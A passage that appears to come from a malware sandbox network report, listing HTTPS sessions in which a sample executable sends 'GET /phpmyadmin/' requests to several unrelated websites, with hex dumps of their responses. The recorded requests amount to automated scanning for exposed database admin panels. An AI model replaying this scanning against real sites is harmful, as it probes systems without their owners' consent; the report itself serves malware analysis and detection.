2023-11-26 05:59:29 UTC	404	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 67 61 73 70 2d 67 61 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:24 GMTServer: nginx/1.21.6Content-Type: text/html; charset=UTF-8Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://gasp-ga.com/wp-json/>; r
2023-11-26 05:59:29 UTC	7788	IN	Data Raw: 31 65 33 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 21 2d 2d 20 68 65 61 64 20 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 21 2d 2d 20 6d 65 74 61 20 2d 2d 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 61 73 70 2d 67 61 2e 63 6f 6d Data Ascii: 1e3d<!DOCTYPE html><html class="no-js" lang="en-US">... head --><head>... meta --><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link rel="shortcut icon" href="http://gasp-ga.com
2023-11-26 05:59:29 UTC	8159	IN	Data Raw: 38 34 2c 31 39 35 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d 74 6f 2d 77 61 72 6d 2d 73 70 65 63 74 72 75 6d 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 37 34 2c 32 33 34 2c 32 32 30 29 20 30 25 2c 72 67 62 28 31 35 31 2c 31 32 30 2c 32 30 39 29 20 32 30 25 2c 72 67 62 28 32 30 37 2c 34 32 2c 31 38 36 29 20 34 30 25 2c 72 67 62 28 32 33 38 2c 34 34 2c 31 33 30 29 20 36 30 25 2c 72 67 62 28 32 35 31 2c 31 30 35 2c 39 38 29 20 38 30 25 2c 72 67 62 28 32 35 34 2c 32 34 38 2c 37 36 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 3a 20 6c 69 6e 65 61 Data Ascii: 84,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linea
2023-11-26 05:59:29 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:29 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 78 2d 6c 61 72 67 65 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 78 2d 6c 61 72 67 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 20 61 3a 77 68 65 72 65 28 3a 6e 6f 74 28 2e 77 70 2d 65 6c 65 6d 65 6e 74 2d 62 75 74 74 6f 6e 29 29 7b 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 7d 0a 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d 70 6c 61 74 65 2e 69 73 2d Data Ascii: 2000ont-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.wp-block-navigation a:where(:not(.wp-element-button)){color: inherit;}:where(.wp-block-post-template.is-
2023-11-26 05:59:29 UTC	6	IN	Data Raw: 61 72 20 2e 6d 65 Data Ascii: ar .me
2023-11-26 05:59:29 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:29 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 6e 75 20 3e 20 6c 69 20 3e 20 75 6c 2e 6d 66 6e 2d 6d 65 67 61 6d 65 6e 75 20 3e 20 6c 69 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 30 7d 2e 6d 6d 2d 76 65 72 74 69 63 61 6c 20 23 54 6f 70 5f 62 61 72 20 2e 6d 65 6e 75 20 3e 20 6c 69 20 3e 20 75 6c 2e 6d 66 6e 2d 6d 65 67 61 6d 65 6e 75 20 3e 20 6c 69 2e 68 69 64 65 2d 62 6f 72 64 65 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 30 7d 2e 6d 6d 2d 76 65 72 74 69 63 61 6c 20 23 54 6f 70 5f 62 61 72 20 2e 6d 65 6e 75 20 3e 20 6c 69 20 3e 20 75 6c 2e 6d 66 6e 2d 6d 65 67 61 6d 65 6e 75 20 3e 20 6c 69 20 61 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 77 69 64 74 68 3a 30 3b 70 61 64 64 69 6e 67 3a 39 70 78 20 31 35 70 78 3b Data Ascii: 2000nu > li > ul.mfn-megamenu > li:last-child{border-right-width:0}.mm-vertical #Top_bar .menu > li > ul.mfn-megamenu > li.hide-border{border-right-width:0}.mm-vertical #Top_bar .menu > li > ul.mfn-megamenu > li a{border-bottom-width:0;padding:9px 15px;
2023-11-26 05:59:29 UTC	6	IN	Data Raw: 63 72 65 61 74 69 Data Ascii: creati
2023-11-26 05:59:29 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50933	3.33.130.190	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:28 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: mdystudent.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	719	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 31 37 37 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 4d 6f 6e 2c 20 31 33 20 4e 6f 76 20 32 30 32 33 20 32 33 3a 33 35 3a 30 36 20 47 4d 54 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 54 61 67 3a 20 22 36 35 35 32 62 32 61 61 2d 34 39 39 22 0d 0a 58 2d 41 64 62 6c 6f 63 6b 2d 4b 65 79 3a 20 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 05:59:29 GMTContent-Type: text/htmlContent-Length: 1177Last-Modified: Mon, 13 Nov 2023 23:35:06 GMTConnection: closeETag: "6552b2aa-499"X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBA
2023-11-26 05:59:29 UTC	1177	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50997	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:28 UTC	181	OUT	GET /phpmyadmin/ HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	1483	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 48 65 61 64 65 72 73 3a 20 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 20 41 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Access-Control-Allow-Methods: GET,POSTAccess-Control-Allow-Headers: Content-Type, A
2023-11-26 05:59:31 UTC	6709	IN	Data Raw: 33 65 33 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 Data Ascii: 3e33<!DOCTYPE html><html lang="es-MX"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://gruporegiosafety.com/xmlrpc.php" /><script type="text/javascript">document.documentE
2023-11-26 05:59:31 UTC	1220	IN	Data Raw: 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 30 30 30 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 23 61 62 62 38 63 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 3a 20 23 66 37 38 64 61 37 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 Data Ascii: global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--pr
2023-11-26 05:59:31 UTC	8000	IN	Data Raw: 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d 74 6f 2d 77 61 72 6d 2d 73 70 65 63 74 72 75 6d 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 37 34 2c 32 33 34 2c 32 32 30 29 20 30 25 2c 72 67 62 28 31 35 31 2c 31 32 30 2c 32 30 39 29 20 32 30 25 2c 72 67 62 28 32 30 37 2c 34 32 2c 31 38 36 29 20 34 30 25 2c 72 67 62 28 32 33 38 2c 34 34 2c 31 33 30 29 20 36 30 25 2c 72 67 62 28 32 35 31 2c 31 30 35 2c 39 38 29 20 38 30 25 2c 72 67 62 28 32 35 34 2c 32 34 38 2c 37 36 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 Data Ascii: wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135de
2023-11-26 05:59:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:31 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 73 68 2d 62 6f 72 64 65 61 75 78 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 Data Ascii: 1f40sh-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-gras
2023-11-26 05:59:31 UTC	7822	IN	Data Raw: 2d 62 6f 64 79 20 75 6c 2c 2e 65 74 2d 6c 2d 2d 66 6f 6f 74 65 72 20 75 6c 2c 2e 65 74 2d 6c 2d 2d 68 65 61 64 65 72 20 75 6c 7b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 64 69 73 63 3b 70 61 64 64 69 6e 67 3a 30 20 30 20 32 33 70 78 20 31 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 36 70 78 7d 23 6c 65 66 74 2d 61 72 65 61 20 6f 6c 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 6f 6c 2c 2e 65 74 2d 6c 2d 2d 62 6f 64 79 20 6f 6c 2c 2e 65 74 2d 6c 2d 2d 66 6f 6f 74 65 72 20 6f 6c 2c 2e 65 74 2d 6c 2d 2d 68 65 61 64 65 72 20 6f 6c 7b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 64 65 63 69 6d 61 6c 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 70 6f 73 69 74 69 6f 6e 3a 69 6e 73 69 64 65 3b 70 61 64 64 69 6e 67 3a 30 20 30 20 32 33 70 78 3b 6c 69 6e 65 Data Ascii: -body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line
2023-11-26 05:59:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:31 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 32 73 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 61 6c 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 61 6c 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 2c 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 5f 69 6e 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 70 61 64 64 69 6e 67 3a 2e 33 65 6d 20 32 65 6d 20 Data Ascii: 1f40nsition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em
2023-11-26 05:59:31 UTC	7822	IN	Data Raw: 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 30 25 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 54 6f 70 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 30 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 30 25 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 7d Data Ascii: form:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	51068	185.230.63.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	170	OUT	GET /phpmyadmin/ HTTP/1.1 Host: dstaq.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	756	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 73 74 61 71 2e 63 6f 6d 2f 65 6e 2f 70 68 70 6d 79 61 64 6d 69 6e 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 78 2d 77 69 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 31 37 30 30 39 37 38 33 36 39 2e 30 36 33 31 30 33 35 34 32 33 36 32 38 31 31 32 38 35 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:29 GMTContent-Length: 0Connection: closelocation: https://www.dstaq.com/en/phpmyadminstrict-transport-security: max-age=3600cache-control: no-cachex-wix-request-id: 1700978369.063103542362811285

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50950	139.162.169.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: hmichaelandco.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	536	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 34 2e 33 33 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 68 6d 69 63 68 61 65 6c 61 6e 64 63 6f 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 Data Ascii: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://hmichaelandco.com/wp-json/>; rel="http
2023-11-26 05:59:30 UTC	832	IN	Data Raw: 62 39 35 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 0a 09 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 0a 3c 21 2d 2d 20 4d 6f 62 69 6c 65 20 53 70 65 63 69 66 69 63 20 4d 65 74 61 73 20 26 20 46 61 76 69 63 6f 6e 73 20 2d 2d 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d Data Ascii: b958<!doctype html><html lang="en-US"prefix="og: https://ogp.me/ns#" ><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />... Mobile Specific Metas & Favicons --><meta name="viewport" content="width=device-width, initial-
